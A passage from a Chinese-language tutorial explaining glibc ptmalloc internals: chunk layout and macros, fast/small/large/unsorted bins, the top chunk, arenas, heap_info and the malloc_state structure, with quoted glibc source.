to previous chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . next . | chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of next chunk, in bytes |A|0|0| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ``` 可以发现,如果一个 chunk 处于 free 状态,那么会有两个位置记录其相应的大小 1. 本身的 size 字段会记录, 2. 它后面的 chunk 会记录。 **一般情况下**,物理相邻的两个空闲 chunk 会被合并为一个 chunk 。堆管理器会通过 prev_size 字段以及 size 字段合并两个物理相邻的空闲 chunk 块。 **!!!一些关于堆的约束,后面详细考虑!!!** ```c++ /* The three exceptions to all this are: 1. The special chunk `top' doesn't bother using the trailing size field since there is no next contiguous chunk that would have to index off it. After initialization, `top' is forced to always exist. If it would become less than MINSIZE bytes long, it is replenished. 2. Chunks allocated via mmap, which have the second-lowest-order bit M (IS_MMAPPED) set in their size fields. Because they are allocated one-by-one, each must contain its own trailing size field. If the M bit is set, the other bits are ignored (because mmapped chunks are neither in an arena, nor adjacent to a freed chunk). The M bit is also used for chunks which originally came from a dumped heap via malloc_set_state in hooks.c. 3. Chunks in fastbins are treated as allocated chunks from the point of view of the chunk allocator. They are consolidated with their neighbors only in bulk, in malloc_consolidate. */ ``` ### 堆相关微观结构malloc_chunk相关宏 这里主要介绍 chunk 的大小、对齐检查以及一些转换的宏。 **chunk 与 mem 指针头部的转换** mem指向用户得到的内存的起始位置。 ```c++ /* conversion from malloc headers to user pointers, and back */ #define chunk2mem(p) ((void *) ((char *) (p) + 2 * SIZE_SZ)) #define mem2chunk(mem) ((mchunkptr)((char *) (mem) -2 * SIZE_SZ)) ``` **最小的 chunk 大小** ```c++ /* The smallest possible chunk */ #define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize)) ``` 这里,offsetof 函数计算出 fd_nextsize 在 malloc_chunk 中的偏移,说明最小的 chunk 至少要包含 bk 指针。 **最小申请的堆内存大小** 用户最小申请的内存大小必须是 2 * SIZE_SZ 的最小整数倍。 **注:就目前而看 MIN_CHUNK_SIZE 和 MINSIZE 大小是一致的,个人认为之所以要添加两个宏是为了方便以后修改 malloc_chunk 时方便一些。** ```c++ /* The smallest size we can malloc is an aligned minimal chunk */ //MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1 #define MINSIZE \ (unsigned long) (((MIN_CHUNK_SIZE + MALLOC_ALIGN_MASK) & \ ~MALLOC_ALIGN_MASK)) ``` **检查分配给用户的内存是否对齐** 2 * SIZE_SZ 大小对齐。 ```c++ /* Check if m has acceptable alignment */ // MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1 #define aligned_OK(m) (((unsigned long) (m) & MALLOC_ALIGN_MASK) == 0) #define misaligned_chunk(p) \ ((uintptr_t)(MALLOC_ALIGNMENT == 2 * SIZE_SZ ? (p) : chunk2mem(p)) & \ MALLOC_ALIGN_MASK) ``` **请求字节数判断** ```c++ /* Check if a request is so large that it would wrap around zero when padded and aligned. To simplify some other code, the bound is made low enough so that adding MINSIZE will also not wrap around zero. */ #define REQUEST_OUT_OF_RANGE(req) \ ((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE)) ``` **将用户请求内存大小转为实际分配内存大小** ```c++ /* pad request bytes into a usable size -- internal version */ //MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1 #define request2size(req) \ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \ ? MINSIZE \ : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) /* Same, except also perform argument check */ #define checked_request2size(req, sz) \ if (REQUEST_OUT_OF_RANGE(req)) { \ __set_errno(ENOMEM); \ return 0; \ } \ (sz) = request2size(req); ``` 当一个 chunk 处于已分配状态时,它的物理相邻的下一个 chunk 的 prev_size 字段必然是无效的,故而这个字段就可以被当前这个 chunk 使用。这就是 ptmalloc 中 chunk 间的复用。具体流程如下 1. 首先,利用 REQUEST_OUT_OF_RANGE 判断是否可以分配用户请求的字节大小的 chunk。 2. 其次,需要注意的是用户请求的字节是用来存储数据的,即 chunk header 后面的部分。与此同时,由于chunk 间复用,所以可以使用下一个 chunk 的 prev_size 字段。因此,这里只需要再添加 SIZE_SZ 大小即可以完全存储内容。 3. 由于系统中所允许的申请的 chunk 最小是 MINSIZE,所以与其进行比较。如果不满足最低要求,那么就需要直接分配MINSIZE字节。 4. 如果大于的话,因为系统中申请的 chunk 需要 2 * SIZE_SZ 对齐,所以这里需要加上MALLOC_ALIGN_MASK 以便于对齐。 **个人认为,这里在 request2size 的宏的第一行中没有必要加上 MALLOC_ALIGN_MASK。** **需要注意的是,通过这样的计算公式得到的 size 最终一定是满足用户需要的。** **标记位相关** ```c++ /* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */ #define PREV_INUSE 0x1 /* extract inuse bit of previous chunk */ #define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE) /* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */ #define IS_MMAPPED 0x2 /* check for mmap()'ed chunk */ #define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED) /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained from a non-main arena. This is only set immediately before handing the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4 /* Check for chunk from main arena. */ #define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0) /* Mark a chunk as not being on the main arena. */ #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA) /* Bits to mask off when extracting size Note: IS_MMAPPED is intentionally not masked off from size field in macros for which mmapped chunks should never be seen. This should cause helpful core dumps to occur if it is tried by accident by people extending or adapting this malloc. */ #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ``` **获取chunk size** ```c++ /* Get size, ignoring use bits */ #define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS)) /* Like chunksize, but do not mask SIZE_BITS. */ #define chunksize_nomask(p) ((p)->mchunk_size) ``` **获取下一个物理相邻的chunk** ```c++ /* Ptr to next physical malloc_chunk. */ #define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p))) ``` **获取前一个chunk的信息** ```c++ /* Size of the chunk below P. Only valid if !prev_inuse (P). */ #define prev_size(p) ((p)->mchunk_prev_size) /* Set the size of the chunk below P. Only valid if !prev_inuse (P). */ #define set_prev_size(p, sz) ((p)->mchunk_prev_size = (sz)) /* Ptr to previous physical malloc_chunk. Only valid if !prev_inuse (P). */ #define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p))) ``` **当前chunk使用状态相关操作** ```c++ /* extract p's inuse bit */ #define inuse(p) \ ((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE) /* set/clear chunk as being inuse without otherwise disturbing */ #define set_inuse(p) \ ((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size |= PREV_INUSE #define clear_inuse(p) \ ((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size &= ~(PREV_INUSE) ``` **设置chunk的size字段** ```c++ /* Set size at head, without disturbing its use bit */ // SIZE_BITS = 7 #define set_head_size(p, s) \ ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) /* Set size/use field */ #define set_head(p, s) ((p)->mchunk_size = (s)) /* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) \ (((mchunkptr)((char *) (p) + (s)))->mchunk_prev_size = (s)) ``` **获取指定偏移的chunk** ```c++ /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s))) ``` **指定偏移处chunk使用状态相关操作** ```c++ /* check/set/clear inuse bits in known places */ #define inuse_bit_at_offset(p, s) \ (((mchunkptr)(((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) #define set_inuse_bit_at_offset(p, s) \ (((mchunkptr)(((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) #define clear_inuse_bit_at_offset(p, s) \ (((mchunkptr)(((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` ### 堆相关微观结构bin概述 我们曾经说过,用户释放掉的 chunk 不会马上归还给系统,ptmalloc 会统一管理 heap 和 mmap 映射区域中的空闲的chunk。当用户再一次请求分配内存时,ptmalloc 分配器会试图在空闲的chunk中挑选一块合适的给用户。这样可以避免频繁的系统调用,降低内存分配的开销。 在具体的实现中,ptmalloc 采用分箱式方法对空闲的 chunk 进行管理。首先,它会根据空闲的 chunk 的大小以及使用状态将 chunk 初步分为4类:fast bins,small bins,large bins,unsorted bin。每类中仍然有更细的划分,相似大小的 chunk 会用双向链表链接起来。也就是说,在每类 bin 的内部仍然会有多个互不相关的链表来保存不同大小的 chunk。 对于 small bins,large bins,unsorted bin 来说,ptmalloc 将它们维护在同一个数组中。这些bin对应的数据结构在 malloc_state 中,如下 ```c++ #define NBINS 128 /* Normal bins packed as described above */ mchunkptr bins[ NBINS * 2 - 2 ]; ``` `bins` 主要用于索引不同 bin 的 fd 和 bk。以 32 位系统为例,bins 前 4 项的含义如下 | 含义 | bin1的fd/bin2的prev_size | bin1的bk/bin2的size | bin2的fd/bin3的prev_size | bin2的bk/bin3的size | | ----- | ---------------------- | ----------------- | ---------------------- | ----------------- | | bin下标 | 0 | 1 | 2 | 3 | 可以看到,bin2 的 prev_size、size 和 bin1 的 fd、bk 是重合的。由于我们只会使用 fd 和 bk 来索引链表,所以该重合部分的数据其实记录的是 bin1 的 fd、bk。 也就是说,虽然后一个 bin 和前一个 bin 共用部分数据,但是其实记录的仍然是前一个 bin 的链表数据。通过这样的复用,可以节省空间。 数组中的 bin 依次如下 1. 第一个为 unsorted bin,字如其面,这里面的 chunk 没有进行排序,存储的 chunk 比较杂。 2. 索引从 2 到 63 的 bin 称为 small bin,同一个 small bin 链表中的 chunk 的大小相同。两个相邻索引的 small bin 链表中的 chunk 大小相差的字节数为**2个机器字长**,即32位相差8字节,64位相差16字节。 3. small bins 后面的 bin 被称作 large bins。large bins 中的每一个 bin 都包含一定范围内的 chunk,其中的chunk 按 fd 指针的顺序从大到小排列。相同大小的chunk同样按照最近使用顺序排列。 此外,上述这些bin的排布都会遵循一个原则:**任意两个物理相邻的空闲chunk不能在一起**。 需要注意的是,并不是所有的 chunk 被释放后就立即被放到 bin 中。ptmalloc 为了提高分配的速度,会把一些小的 chunk **先**放到 fast bins 的容器内。**而且,fastbin 容器中的 chunk 的使用标记总是被置位的,所以不满足上面的原则。** bin 通用的宏如下 ```c++ typedef struct malloc_chunk *mbinptr; /* addressing -- note that bin_at(0) does not exist */ #define bin_at(m, i) \ (mbinptr)(((char *) &((m)->bins[ ((i) -1) * 2 ])) - \ offsetof(struct malloc_chunk, fd)) /* analog of ++bin */ //获取下一个bin的地址 #define next_bin(b) ((mbinptr)((char *) (b) + (sizeof(mchunkptr) << 1))) /* Reminders about list directionality within bins */ // 这两个宏可以用来遍历bin // 获取 bin 的位于链表头的 chunk #define first(b) ((b)->fd) // 获取 bin 的位于链表尾的 chunk #define last(b) ((b)->bk) ``` ### 堆相关微观结构Fast Bin 大多数程序经常会申请以及释放一些比较小的内存块。如果将一些较小的 chunk 释放之后发现存在与之相邻的空闲的 chunk 并将它们进行合并,那么当下一次再次申请相应大小的 chunk 时,就需要对 chunk 进行分割,这样就大大降低了堆的利用效率。**因为我们把大部分时间花在了合并、分割以及中间检查的过程中。**因此,ptmalloc 中专门设计了 fast bin,对应的变量就是 malloc state 中的 fastbinsY ```c++ /* Fastbins An array of lists holding recently freed small chunks. Fastbins are not doubly linked. It is faster to single-link them, and since chunks are never removed from the middles of these lists, double linking is not necessary. Also, unlike regular bins, they are not even processed in FIFO order (they use faster LIFO) since ordering doesn't much matter in the transient contexts in which fastbins are normally used. Chunks in fastbins keep their inuse bit set, so they cannot be consolidated with other free chunks. malloc_consolidate releases all chunks in fastbins and consolidates them with other free chunks. */ typedef struct malloc_chunk *mfastbinptr; /* This is in malloc_state. /* Fastbins */ mfastbinptr fastbinsY[ NFASTBINS ]; */ ``` 为了更加高效地利用 fast bin,glibc 采用单向链表对其中的每个 bin 进行组织,并且**每个 bin 采取 LIFO 策略**,最近释放的 chunk 会更早地被分配,所以会更加适合于局部性。也就是说,当用户需要的 chunk 的大小小于 fastbin 的最大大小时, ptmalloc 会首先判断 fastbin 中相应的 bin 中是否有对应大小的空闲块,如果有的话,就会直接从这个 bin 中获取 chunk。如果没有的话,ptmalloc才会做接下来的一系列操作。 默认情况下(**32位系统为例**), fastbin 中默认支持最大的 chunk 的数据空间大小为 64 字节。但是其可以支持的chunk的数据空间最大为80字节。除此之外, fastbin 最多可以支持的 bin 的个数为 10 个,从数据空间为 8 字节开始一直到 80 字节(注意这里说的是数据空间大小,也即除去 prev_size 和 size 字段部分的大小)定义如下 ```c++ #define NFASTBINS (fastbin_index(request2size(MAX_FAST_SIZE)) + 1) #ifndef DEFAULT_MXFAST #define DEFAULT_MXFAST (64 * SIZE_SZ / 4) #endif /* The maximum fastbin request size we support */ #define MAX_FAST_SIZE (80 * SIZE_SZ / 4) /* Since the lowest 2 bits in max_fast don't matter in size comparisons, they are used as flags. */ /* FASTCHUNKS_BIT held in max_fast indicates that there are probably some fastbin chunks. It is set true on entering a chunk into any fastbin, and cleared only in malloc_consolidate. The truth value is inverted so that have_fastchunks will be true upon startup (since statics are zero-filled), simplifying initialization checks. */ //判断分配区是否有 fast bin chunk,1表示没有 #define FASTCHUNKS_BIT (1U) #define have_fastchunks(M) (((M)->flags & FASTCHUNKS_BIT) == 0) #define clear_fastchunks(M) catomic_or(&(M)->flags, FASTCHUNKS_BIT) #define set_fastchunks(M) catomic_and(&(M)->flags, ~FASTCHUNKS_BIT) /* NONCONTIGUOUS_BIT indicates that MORECORE does not return contiguous regions. Otherwise, contiguity is exploited in merging together, when possible, results from consecutive MORECORE calls. The initial value comes from MORECORE_CONTIGUOUS, but is changed dynamically if mmap is ever used as an sbrk substitute. */ // MORECORE是否返回连续的内存区域。 // 主分配区中的MORECORE其实为sbr(),默认返回连续虚拟地址空间 // 非主分配区使用mmap()分配大块虚拟内存,然后进行切分来模拟主分配区的行为 // 而默认情况下mmap映射区域是不保证虚拟地址空间连续的,所以非主分配区默认分配非连续虚拟地址空间。 #define NONCONTIGUOUS_BIT (2U) #define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) #define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) /* ARENA_CORRUPTION_BIT is set if a memory corruption was detected on the arena. Such an arena is no longer used to allocate chunks. Chunks allocated in that arena before detecting corruption are not freed. */ #define ARENA_CORRUPTION_BIT (4U) #define arena_is_corrupt(A) (((A)->flags & ARENA_CORRUPTION_BIT)) #define set_arena_corrupt(A) ((A)->flags |= ARENA_CORRUPTION_BIT) /* Set value of max_fast. Use impossibly small value if 0. Precondition: there are no existing fastbin chunks. Setting the value clears fastchunk bit but preserves noncontiguous bit. */ #define set_max_fast(s) \ global_max_fast = \ (((s) == 0) ? SMALLBIN_WIDTH : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK)) #define get_max_fast() global_max_fast ``` ptmalloc 默认情况下会调用 set_max_fast(s) 将全局变量 global_max_fast 设置为 DEFAULT_MXFAST,也就是设置 fast bins 中 chunk 的最大值。当 MAX_FAST_SIZE 被设置为 0 时,系统就不会支持 fastbin 。 **fastbin的索引** ```c++ #define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[ idx ]) /* offset 2 to use otherwise unindexable first 2 bins */ // chunk size=2*size_sz*(2+idx) // 这里要减2,否则的话,前两个bin没有办法索引到。 #define fastbin_index(sz) \ ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) ``` **需要特别注意的是,fastbin 范围的 chunk 的 inuse 始终被置为 1。因此它们不会和其它被释放的 chunk 合并。** 但是当释放的 chunk 与该 chunk 相邻的空闲 chunk 合并后的大小大于FASTBIN_CONSOLIDATION_THRESHOLD时,内存碎片可能比较多了,我们就需要把 fast bins 中的chunk都进行合并,以减少内存碎片对系统的影响。 ```c++ /* FASTBIN_CONSOLIDATION_THRESHOLD is the size of a chunk in free() that triggers automatic consolidation of possibly-surrounding fastbin chunks. This is a heuristic, so the exact value should not matter too much. It is defined at half the default trim threshold as a compromise heuristic to only attempt consolidation if it is likely to lead to trimming. However, it is not dynamically tunable, since consolidation reduces fragmentation surrounding large chunks even if trimming is not used. */ #define FASTBIN_CONSOLIDATION_THRESHOLD (65536UL) ``` **malloc_consolidate 函数可以将 fastbin 中所有能和其它 chunk 合并的 chunk 合并在一起。具体地参见后续的详细函数的分析。** ``` /* Chunks in fastbins keep their inuse bit set, so they cannot be consolidated with other free chunks. malloc_consolidate releases all chunks in fastbins and consolidates them with other free chunks. */ ``` ### 堆相关微观结构Small Bin small bins 中每个 chunk 的大小与其所在的 bin 的 index 的关系为:chunk_size = 2 * SIZE_SZ *index,具体如下 | 下标 | SIZE_SZ=4(32位) | SIZE_SZ=8(64位) | | ---- | -------------- | -------------- | | 2 | 16 | 32 | | 3 | 24 | 48 | | 4 | 32 | 64 | | 5 | 40 | 80 | | x | 2\*4\*x | 2\*8\*x | | 63 | 504 | 1008 | small bins 中一共有 62 个循环双向链表,每个链表中存储的 chunk 大小都一致。比如对于 32 位系统来说,下标 2 对应的双向链表中存储的 chunk 大小为均为 16 字节。每个链表都有链表头结点,这样可以方便对于链表内部结点的管理。此外,**small bins 中每个 bin 对应的链表采用 FIFO 的规则**,所以同一个链表中先被释放的 chunk 会先被分配出去。 small bin相关的宏如下 ```c++ #define NSMALLBINS 64 #define SMALLBIN_WIDTH MALLOC_ALIGNMENT // 是否需要对small bin的下标进行纠正 #define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ) #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) //判断chunk的大小是否在small bin范围内 #define in_smallbin_range(sz) \ ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) // 根据chunk的大小得到small bin对应的索引。 #define smallbin_index(sz) \ ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) \ : (((unsigned) (sz)) >> 3)) + \ SMALLBIN_CORRECTION) ``` **或许,大家会很疑惑,那 fastbin 与 small bin 中 chunk 的大小会有很大一部分重合啊,那 small bin 中对应大小的 bin 是不是就没有什么作用啊?** 其实不然,fast bin 中的 chunk 是有可能被放到 small bin 中去的,我们在后面分析具体的源代码时会有深刻的体会。 ### 堆相关微观结构Large Bin large bins 中一共包括 63 个 bin,每个 bin 中的 chunk 的大小不一致,而是处于一定区间范围内。此外,这 63 个 bin 被分成了 6 组,每组 bin 中的 chunk 大小之间的公差一致,具体如下: | 组 | 数量 | 公差 | | ---- | ---- | ------- | | 1 | 32 | 64B | | 2 | 16 | 512B | | 3 | 8 | 4096B | | 4 | 4 | 32768B | | 5 | 2 | 262144B | | 6 | 1 | 不限制 | 这里我们以 32 位平台的 large bin 为例,第一个 large bin 的起始 chunk 大小为 512 字节,位于第一组,所以该bin 可以存储的 chunk 的大小范围为 [512,512+64)。 关于 large bin 的宏如下,这里我们以 32 位平台下,第一个 large bin 的起始 chunk 大小为例,为 512 字节,那么 512>>6 = 8,所以其下标为56+8=64。 ```c++ #define largebin_index_32(sz) \ (((((unsigned long) (sz)) >> 6) <= 38) \ ? 56 + (((unsigned long) (sz)) >> 6) \ : ((((unsigned long) (sz)) >> 9) <= 20) \ ? 91 + (((unsigned long) (sz)) >> 9) \ : ((((unsigned long) (sz)) >> 12) <= 10) \ ? 110 + (((unsigned long) (sz)) >> 12) \ : ((((unsigned long) (sz)) >> 15) <= 4) \ ? 119 + (((unsigned long) (sz)) >> 15) \ : ((((unsigned long) (sz)) >> 18) <= 2) \ ? 124 + (((unsigned long) (sz)) >> 18) \ : 126) #define largebin_index_32_big(sz) \ (((((unsigned long) (sz)) >> 6) <= 45) \ ? 49 + (((unsigned long) (sz)) >> 6) \ : ((((unsigned long) (sz)) >> 9) <= 20) \ ? 91 + (((unsigned long) (sz)) >> 9) \ : ((((unsigned long) (sz)) >> 12) <= 10) \ ? 110 + (((unsigned long) (sz)) >> 12) \ : ((((unsigned long) (sz)) >> 15) <= 4) \ ? 119 + (((unsigned long) (sz)) >> 15) \ : ((((unsigned long) (sz)) >> 18) <= 2) \ ? 124 + (((unsigned long) (sz)) >> 18) \ : 126) // XXX It remains to be seen whether it is good to keep the widths of // XXX the buckets the same or whether it should be scaled by a factor // XXX of two as well. #define largebin_index_64(sz) \ (((((unsigned long) (sz)) >> 6) <= 48) \ ? 48 + (((unsigned long) (sz)) >> 6) \ : ((((unsigned long) (sz)) >> 9) <= 20) \ ? 91 + (((unsigned long) (sz)) >> 9) \ : ((((unsigned long) (sz)) >> 12) <= 10) \ ? 110 + (((unsigned long) (sz)) >> 12) \ : ((((unsigned long) (sz)) >> 15) <= 4) \ ? 119 + (((unsigned long) (sz)) >> 15) \ : ((((unsigned long) (sz)) >> 18) <= 2) \ ? 124 + (((unsigned long) (sz)) >> 18) \ : 126) #define largebin_index(sz) \ (SIZE_SZ == 8 ? largebin_index_64(sz) : MALLOC_ALIGNMENT == 16 \ ? largebin_index_32_big(sz) \ : largebin_index_32(sz)) ``` ### 堆相关微观结构Unsorted Bin unsorted bin 可以视为空闲 chunk 回归其所属 bin 之前的缓冲区。 其在 glibc 中具体的说明如下 ```c++ /* Unsorted chunks All remainders from chunk splits, as well as all returned chunks, are first placed in the "unsorted" bin. They are then placed in regular bins after malloc gives them ONE chance to be used before binning. So, basically, the unsorted_chunks list acts as a queue, with chunks being placed on it in free (and malloc_consolidate), and taken off (to be either used or placed in bins) in malloc. The NON_MAIN_ARENA flag is never set for unsorted chunks, so it does not have to be taken into account in size comparisons. */ ``` 从下面的宏我们可以看出 ```c++ /* The otherwise unindexable 1-bin is used to hold unsorted chunks. */ #define unsorted_chunks(M) (bin_at(M, 1)) ``` unsorted bin 处于我们之前所说的 bin 数组下标 1 处。故而 unsorted bin 只有一个链表。unsorted bin 中的空闲 chunk 处于乱序状态,主要有两个来源 - 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。 - 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。 此外,Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO 。 ### 堆相关微观结构common macro 这里介绍一些通用的宏。 **根据chunk的大小统一地获得chunk所在的索引** ```c++ #define bin_index(sz) \ ((in_smallbin_range(sz)) ? smallbin_index(sz) : largebin_index(sz)) ``` ### 堆相关微观结构Top Chunk glibc 中对于 top chunk 的描述如下 ```c++ /* Top The top-most available chunk (i.e., the one bordering the end of available memory) is treated specially. It is never included in any bin, is used only if no other chunk is available, and is released back to the system if it is very large (see M_TRIM_THRESHOLD). Because top initially points to its own bin with initial zero size, thus forcing extension on the first malloc request, we avoid having any special code in malloc to check whether it even exists yet. But we still need to do so when getting memory from system, so we make initial_top treat the bin as a legal but unusable chunk during the interval between initialization and the first call to sysmalloc. (This is somewhat delicate, since it relies on the 2 preceding words to be zero during this interval as well.) */ /* Conveniently, the unsorted bin can be used as dummy top on first call */ #define initial_top(M) (unsorted_chunks(M)) ``` 程序第一次进行 malloc 的时候,heap 会被分为两块,一块给用户,剩下的那块就是 top chunk。其实,所谓的top chunk 就是处于当前堆的物理地址最高的 chunk。这个 chunk 不属于任何一个 bin,它的作用在于当所有的bin 都无法满足用户请求的大小时,如果其大小不小于指定的大小,就进行分配,并将剩下的部分作为新的 top chunk。否则,就对heap进行扩展后再进行分配。在main arena中通过sbrk扩展heap,而在thread arena中通过mmap分配新的heap。 需要注意的是,top chunk 的 prev_inuse 比特位始终为1,否则其前面的chunk就会被合并到top chunk中。 **初始情况下,我们可以将 unsorted chunk 作为 top chunk。** ### 堆相关微观结构last remainder 在用户使用 malloc 请求分配内存时,ptmalloc2 找到的 chunk 可能并不和申请的内存大小一致,这时候就将分割之后的剩余部分称之为 last remainder chunk ,unsort bin 也会存这一块。top chunk 分割剩下的部分不会作为last remainder. ### 堆相关宏观结构arena 在我们之前介绍的例子中,无论是主线程还是新创建的线程,在第一次申请内存时,都会有独立的arena。那么会不会每个线程都有独立的arena呢?下面我们就具体介绍。 #### arena 数量 对于不同系统,arena数量的[约束](https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/arena.c#L847)如下 ```text For 32 bit systems: Number of arena = 2 * number of cores. For 64 bit systems: Number of arena = 8 * number of cores. ``` 显然,不是每一个线程都会有对应的 arena。至于为什么64位系统,要那么设置,我也没有想明白。此外,因为每个系统的核数是有限的,当线程数大于核数的二倍(超线程技术)时,就必然有线程处于等待状态,所以没有必要为每个线程分配一个 arena。 #### arena 分配规则 **待补充。** #### 区别 与 thread 不同的是,main_arena 并不在申请的 heap 中,而是一个全局变量,在 libc.so 的数据段。 ### 堆相关宏观结构heap_info 程序刚开始执行时,每个线程是没有 heap 区域的。当其申请内存时,就需要一个结构来记录对应的信息,而heap_info 的作用就是这个。而且当该heap的资源被使用完后,就必须得再次申请内存了。此外,一般申请的heap 是不连续的,因此需要记录不同heap之间的链接结构。 **该数据结构是专门为从 Memory Mapping Segment 处申请的内存准备的,即为非主线程准备的。** 主线程可以通过 sbrk() 函数扩展 program break location 获得(直到触及Memory Mapping Segment),只有一个heap,没有 heap_info 数据结构。 heap_info 的主要结构如下 ```c++ #define HEAP_MIN_SIZE (32 * 1024) #ifndef HEAP_MAX_SIZE # ifdef DEFAULT_MMAP_THRESHOLD_MAX # define HEAP_MAX_SIZE (2 * DEFAULT_MMAP_THRESHOLD_MAX) # else # define HEAP_MAX_SIZE (1024 * 1024) /* must be a power of two */ # endif #endif /* HEAP_MIN_SIZE and HEAP_MAX_SIZE limit the size of mmap()ed heaps that are dynamically created for multi-threaded programs. The maximum size must be a power of two, for fast determination of which heap belongs to a chunk. It should be much larger than the mmap threshold, so that requests with a size just below that threshold can be fulfilled without creating too many heaps. */ /***************************************************************************/ /* A heap is a single contiguous memory region holding (coalesceable) malloc_chunks. It is allocated with mmap() and always starts at an address aligned to HEAP_MAX_SIZE. */ typedef struct _heap_info { mstate ar_ptr; /* Arena for this heap. */ struct _heap_info *prev; /* Previous heap. */ size_t size; /* Current size in bytes. */ size_t mprotect_size; /* Size in bytes that has been mprotected PROT_READ|PROT_WRITE. */ /* Make sure the following data is properly aligned, particularly that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of MALLOC_ALIGNMENT. */ char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; } heap_info; ``` 该结构主要是描述堆的基本信息,包括 - 堆对应的 arena 的地址 - 由于一个线程申请一个堆之后,可能会使用完,之后就必须得再次申请。因此,一个线程可能会有多个堆。prev即记录了上一个 heap_info 的地址。这里可以看到每个堆的 heap_info 是通过单向链表进行链接的。 - size 表示当前堆的大小 - 最后一部分确保对齐 !!! note "pad 里负数的缘由是什么呢?" `pad` 是为了确保分配的空间是按照 `MALLOC_ALIGN_MASK+1` (记为 `MALLOC_ALIGN_MASK_1`) 对齐的。在 `pad` 之前该结构体一共有 6 个 `SIZE_SZ` 大小的成员, 为了确保 `MALLOC_ALIGN_MASK_1` 字节对齐, 可能需要进行 `pad`,不妨假设该结构体的最终大小为 `MALLOC_ALIGN_MASK_1*x`,其中 `x` 为自然数,那么需要 `pad` 的空间为 `MALLOC_ALIGN_MASK_1 * x - 6 * SIZE_SZ = (MALLOC_ALIGN_MASK_1 * x - 6 * SIZE_SZ) % MALLOC_ALIGN_MASK_1 = 0 - 6 * SIZE_SZ % MALLOC_ALIGN_MASK_1=-6 * SIZE_SZ % MALLOC_ALIGN_MASK_1 = -6 * SIZE_SZ & MALLOC_ALIGN_MASK`。 看起来该结构应该是相当重要的,但是如果如果我们仔细看完整个 malloc 的实现的话,就会发现它出现的频率并不高。 ### 堆相关宏观结构malloc_state 该结构用于管理堆,记录每个 arena 当前申请的内存的具体状态,比如说是否有空闲chunk,有什么大小的空闲chunk 等等。无论是 thread arena 还是 main arena,它们都只有一个 malloc state 结构。由于 thread 的 arena 可能有多个,malloc state结构会在最新申请的arena中。 **注意,main arena 的 malloc_state 并不是 heap segment 的一部分,而是一个全局变量,存储在 libc.so 的数据段。** 其结构如下 ```c++ struct malloc_state { /* Serialize access. */ __libc_lock_define(, mutex); /* Flags (formerly in max_fast). */ int flags; /* Fastbins */ mfastbinptr fastbinsY[ NFASTBINS ]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[ NBINS * 2 - 2 ]; /* Bitmap of bins, help to speed up the process of determinating if a given bin is definitely empty.*/ unsigned int binmap[ BINMAPSIZE ]; /* Linked list, points to the next arena */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is 